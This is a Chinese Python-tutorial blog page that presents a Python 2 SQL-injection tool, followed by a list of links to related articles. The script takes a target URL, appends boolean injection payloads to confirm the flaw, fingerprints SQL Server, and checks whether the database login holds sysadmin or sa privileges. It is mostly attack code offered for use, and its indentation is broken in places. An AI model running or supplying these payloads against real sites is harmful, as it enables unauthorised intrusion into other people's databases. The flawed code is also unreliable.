Python编写检测数据库SA用户的方法


Posted in Python onJuly 11, 2014

本文讲述一个用Python写的小程序,用于有注入点的链接,以检测当前数据库用户是否为sa,详细代码如下:

# Code by zhaoxiaobu Email: little.bu@hotmail.com  
#-*- coding: UTF-8 -*-  
from sys import exit  
from urllib import urlopen  
from string import join,strip  
from re import search  
 
def is_sqlable(): 
  sql1="%20and%201=2" 
  sql2="%20and%201=1" 
  urlfile1=urlopen(url+sql1) 
  urlfile2=urlopen(url+sql2) 
  htmlcodes1=urlfile1.read() 
  htmlcodes2=urlfile2.read() 
  if not search(judge,htmlcodes1) and search(judge,htmlcodes2): 
  print "[信息]恭喜!这个URL是有注入漏洞的!n" 
  print "[信息]现在判断数据库是否是SQL Server,请耐心等候....."  
  is_SQLServer() 
  else: 
  print "[错误]你确定这个URL能用?换个别的试试吧!n"

def is_SQLServer(): 
  sql = "%20and%20exists%20(select%20*%20from%20sysobjects)" 
  urlfile=urlopen(url+sql) 
  htmlcodes=urlfile.read() 
  if not search(judge,htmlcodes): 
  print "[错误]数据库好像不是SQL Server的!n" 
  else: 
  print "[信息]确认是SQL Server数据库!n" 
  print "[信息]开始检测当前数据库用户权限,请耐心等待......" 
  is_sysadmin() 
 
 
def is_sysadmin():  
  sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))" 
  urlfile = urlopen(url+sql)  
  htmlcodes = urlfile.read()  
  if not search(judge,htmlcodes):  
    print "[错误]当前数据库用户不具有sysadmin权限!n" 
  else:  
    print "[信息]当前数据库用户具有sysadmin权限!n" 
    print "[信息]检测当前用户是不是SA,请耐心等待......" 
    is_sa()  
 
def is_sa():  
  sql = "%20and%20'sa'=(select%20System_user)"; 
  urlfile = urlopen(url+sql)  
  htmlcodes = urlfile.read()  
  if not search(judge,htmlcodes):  
    print "[错误]当前数据库用户不是SA!n" 
  else:  
    print "[信息]当前数据库用户是SA!n" 
 
print "n########################################################################n"  
print "            ^o^SQL Server注入利用工具^o^     "  
print "           Email: little.bu@hotmail.comn"  
print "========================================================================";  
url = raw_input('[信息]请输入一个可能有注入漏洞的链接!nURL:')  
if url == '':  
  print "[错误]提供的URL必须具有 '.asp?xxx=' 这样的格式"  
  exit(1)  
 
judge = raw_input("[信息]请提供一个判断字符串.n判断字符串:")  
if judge == '':  
  print "[错误]判断字符串不能为空!"  
  exit(1)  
 
is_sqlable()
Python 相关文章推荐
Python中的fileinput模块的简单实用示例
Jul 09 Python
两个命令把 Vim 打造成 Python IDE的方法
Mar 20 Python
Python+Selenium自动化实现分页(pagination)处理
Mar 31 Python
Python编程判断这天是这一年第几天的方法示例
Apr 18 Python
TensorFlow实现iris数据集线性回归
Sep 07 Python
使用Python处理BAM的方法
Sep 28 Python
Python Tkinter 简单登录界面的实现
Jun 14 Python
win10下python2和python3共存问题解决方法
Dec 23 Python
python可视化text()函数使用详解
Feb 11 Python
完美解决Django2.0中models下的ForeignKey()问题
May 19 Python
opencv 图像滤波(均值,方框,高斯,中值)
Jul 08 Python
Python selenium绕过webdriver监测执行javascript
Apr 12 Python
python实现的生成随机迷宫算法核心代码分享(含游戏完整代码)
Jul 11 #Python
python文件和目录操作函数小结
Jul 11 #Python
python实现的登陆Discuz!论坛通用代码分享
Jul 11 #Python
Python Socket编程入门教程
Jul 11 #Python
python使用正则搜索字符串或文件中的浮点数代码实例
Jul 11 #Python
Python实现的二维码生成小软件
Jul 11 #Python
让python同时兼容python2和python3的8个技巧分享
Jul 11 #Python
You might like
php学习 字符串课件
2008/06/15 PHP
PHP读取网页文件内容的实现代码(fopen,curl等)
2011/06/23 PHP
php读取mysql的简单实例
2014/01/15 PHP
php项目中百度 UEditor 简单安装调试和调用
2015/07/15 PHP
PHP一致性hash分布式算法封装类定义与用法示例
2018/08/04 PHP
laravel 实现向公共模板中传值 (view composer)
2019/10/22 PHP
JQuery AJAX实现目录浏览与编辑的代码
2008/10/21 Javascript
基于jQuery的让非HTML5浏览器支持placeholder属性的代码
2011/05/24 Javascript
js判断是否为数组的函数: isArray()
2011/10/30 Javascript
javascript的BOM汇总
2015/07/16 Javascript
学习使用bootstrap3栅格系统
2016/04/12 Javascript
jQuery移动端图片上传组件
2016/06/12 Javascript
jQueryUI Datepicker组件设置日期高亮
2016/10/13 Javascript
Redux 和 Mobx的选择问题:让你不再困惑!
2017/09/18 Javascript
浅谈vue的iview列表table render函数设置DOM属性值的方法
2017/09/30 Javascript
ES6 迭代器与可迭代对象的实现
2019/02/11 Javascript
微信网页登录逻辑与实现方法
2019/04/29 Javascript
一文读懂ES7中的javascript修饰器
2019/05/06 Javascript
VUE写一个简单的表格实例
2019/08/06 Javascript
如何利用 JS 脚本实现网页全自动秒杀抢购功能
2020/10/12 Javascript
python3序列化与反序列化用法实例
2015/05/26 Python
python创建临时文件夹的方法
2015/07/06 Python
Python读取图片属性信息的实现方法
2016/09/11 Python
Python类属性的延迟计算
2016/10/22 Python
itchat和matplotlib的结合使用爬取微信信息的实例
2017/08/25 Python
pandas的resample重采样的使用
2020/04/24 Python
h5使用canvas画布实现手势解锁
2019/01/04 HTML / CSS
澳大利亚领先的在线葡萄酒零售商:Get Wines Direct
2018/03/27 全球购物
Loreto Gallo英国:欧洲领先的在线药房
2021/01/21 全球购物
六道php面试题附答案
2014/06/05 面试题
自荐信的两点禁忌
2013/10/30 职场文书
客户服务经理岗位职责
2014/01/29 职场文书
卫生安全检查制度
2014/02/04 职场文书
党委班子纠正“四风”问题整改措施
2014/10/28 职场文书
golang日志包logger的用法详解
2021/05/05 Golang
Python使用openpyxl模块处理Excel文件
2022/06/05 Python